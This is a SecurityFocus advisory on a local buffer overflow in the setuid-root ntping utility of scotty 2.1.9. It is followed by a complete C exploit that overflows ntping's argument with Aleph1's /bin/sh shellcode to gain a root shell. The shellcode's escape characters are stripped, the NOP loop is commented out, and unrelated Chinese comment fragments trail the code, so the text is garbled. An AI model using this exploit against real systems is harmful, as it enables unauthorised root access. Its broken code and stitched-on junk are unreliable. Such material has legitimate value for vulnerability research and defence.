source: http://www.securityfocus.com/bid/2911/info
ntping is a component of scotty, a Tcl interpreter used to retrieve status and configuration information for TCP/IP networks. The utility, which runs with root privileges, contains a locally exploitable buffer overflow vulnerability. A local attacker can supply a long string as a command line argument to ntping, which, if the argument is of sufficient length (approximately 9000 characters) will induce a segfault.
If the input is carefully constructed, a local attacker can exploit this vulnerability to execute arbitrary code on the target host.
/*Larry W. Cashdollar 6/13/2001
http://vapid.dhs.org Vapid Labs
Overflows ntping for scotty-2.1.9 based on post by
[email protected]*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next instruction. */
#define LEN 590 /*our buffersize. */
/*lacks a call to setuid(0)*/
char shellcode[]= /*Aleph1's shell code. */
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;
long retaddr = get_sp ();
/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);
/*copy the NOPs in to the buffer leaving space for shellcode and
pointers*/
printf ("Jumping to address %x BufSize %dn", retaddr + atoi (argv[1]),LEN);
/*
for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
*(buffer + i) = NOP;*/
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/sbin/ntping", "ntping", buffer,0, 0);
}
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666